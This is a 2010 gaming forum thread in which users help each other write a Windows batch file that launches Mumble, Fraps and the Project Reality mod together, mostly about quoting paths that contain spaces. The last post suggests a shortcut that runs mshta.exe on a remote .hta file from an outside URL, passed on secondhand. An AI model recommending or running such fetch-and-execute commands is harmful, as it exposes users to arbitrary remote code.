Page 1 of 1
One Shortcut 2 programs
Posted: 2010-10-20 12:51
by Cassius
Is there a way to tinker with a shortcut link in windows XP so that it opens up 2 programs? Say you want mumble to start up as well when you click on the PR Shortcut is that doable?
Re: One Shortcut 2 programs
Posted: 2010-10-20 13:53
by Cp
You could use a .bat file, but there are probably more elegant ways of doing it.
for example lets say you want to start mumble and pr.exe and they are both installed in your programs folder on your C: drive; you'd create a .txt file on your desktop, open it and type:
@echo off
start C:\Programs\Mumble\PRmumble(0.5beta).exe
start C:\Programs\EA GAMES\Battlefield 2\mods\pr\pr.exe
Then save and close the .txt file and rename it to something appropriate like "PR and Mumble.bat" remember to name it .bat instead of .txt otherwise it wont work, press OK when prompted with a warning message.
I don't know if you can change the icon for a .bat file but you could create a shortcut to the .bat file and then edit the icon of the shortcut. if you'd rather have the PR dogtags on the shortcut instead of the default .bat icon that is.
You can move the .bat file off the desktop if you, like me, prefer to have as few icons on the desktop as possible.
Re: One Shortcut 2 programs
Posted: 2010-10-20 14:33
by Cassius
It does not seem to handle spaces. Guess I need to find out the MSDOS name or something.
Re: One Shortcut 2 programs
Posted: 2010-10-20 14:43
by AncientMan
@echo off
start "C:\Programs\Mumble\PRmumble(0.5beta).exe"
start "C:\Programs\EA GAMES\Battlefield 2\mods\pr\pr.exe"
quotes

Re: One Shortcut 2 programs
Posted: 2010-10-20 14:45
by Cp
Wops, Knew I forgot something
Edit: wait a second. shouldn't it be:
@echo off
start C:\Programs\Mumble\PRmumble(0.5beta).exe
start C:\Programs\"EA GAMES"\"Battlefield 2"\mods\pr\pr.exe
Or am I missing something?
Re: One Shortcut 2 programs
Posted: 2010-10-20 14:51
by AncientMan
No, quotes around the whole thing will be just fine

Re: One Shortcut 2 programs
Posted: 2010-10-20 16:14
by Mj Pain
Can not get it to work.
Code: Select all
@echo off
start "C:\Program Files (x86)\fraps.exe"
start "C:\Program Files (x86)\Mumble(PR Edition)\PRmumble(0.5beta).exe"
start "C:\Program Files (x86)\EA GAMES\Battlefield 2\mods\pr\pr.exe"
Saved as .bat file but it only opens three command windows with the same names as in the script.
In the commandwindows it says:
C:\users\me\desktop>
If i open the file as admin it says:
C:\Windows\system32>
Does this only work on XP?
Im on Vista.
Re: One Shortcut 2 programs
Posted: 2010-10-20 16:41
by Celestial1
Mj Pain wrote:Can not get it to work.
Does this only work on XP?
Im on Vista.
Are you running the .bat directly, or are you running a shortcut of it?
Don't know if it will help, but I've read that the shortcut's target (under the properties of the shortcut) should be "cmd /c [path to .bat, should be there already]"
Re: One Shortcut 2 programs
Posted: 2010-10-20 17:15
by Cp
Mj Pain wrote:Can not get it to work.
Code: Select all
@echo off
start "C:\Program Files (x86)\fraps.exe"
start "C:\Program Files (x86)\Mumble(PR Edition)\PRmumble(0.5beta).exe"
start "C:\Program Files (x86)\EA GAMES\Battlefield 2\mods\pr\pr.exe"
Saved as .bat file but it only opens three command windows with the same names as in the script.
In the commandwindows it says:
C:\users\me\desktop>
If i open the file as admin it says:
C:\Windows\system32>
Does this only work on XP?
Im on Vista.
Try:
Code: Select all
@echo off
start C:"Program Files (x86)"\fraps.exe
start C:"Program Files (x86)""Mumble(PR Edition)"\PRmumble(0.5beta).exe
start C:"Program Files (x86)""EA GAMES""Battlefield 2"\mods\pr\pr.exe

Re: One Shortcut 2 programs
Posted: 2010-10-20 17:21
by Cassius
[R-DEV]AncientMan wrote:@echo off
start "C:\Programs\Mumble\PRmumble(0.5beta).exe"
start "C:\Programs\EA GAMES\Battlefield 2\mods\pr\pr.exe"
quotes
Its quotes just around the bit with spaces like the other guy said, at least for XP.
start C:\Programme"Mumble(PR Edition)"\PRmumble(0.5beta).exe
start F:"Battlefield 2"\mods\pr\pr.exe
He has been closest without going over. Everybody else thanks for playing

.
Also is there a way to get mumble PR to autoconnect on startup?
Re: One Shortcut 2 programs
Posted: 2010-10-20 17:32
by Mj Pain
Cp wrote:Try:
Code: Select all
@echo off
start C:"Program Files (x86)"\fraps.exe
start C:"Program Files (x86)""Mumble(PR Edition)"\PRmumble(0.5beta).exe
start C:"Program Files (x86)""EA GAMES""Battlefield 2"\mods\pr\pr.exe
Haha yes!!
That worked..
Thanks

Re: One Shortcut 2 programs
Posted: 2010-10-21 02:46
by deathadder
here this is also VERY helpful a friend gave it to me. just make a shortcut with this as the filepath.
C:\Windows\System32\mshta.exe "
http://thirdforces.internationalconspir ... uncher.hta
i take no credit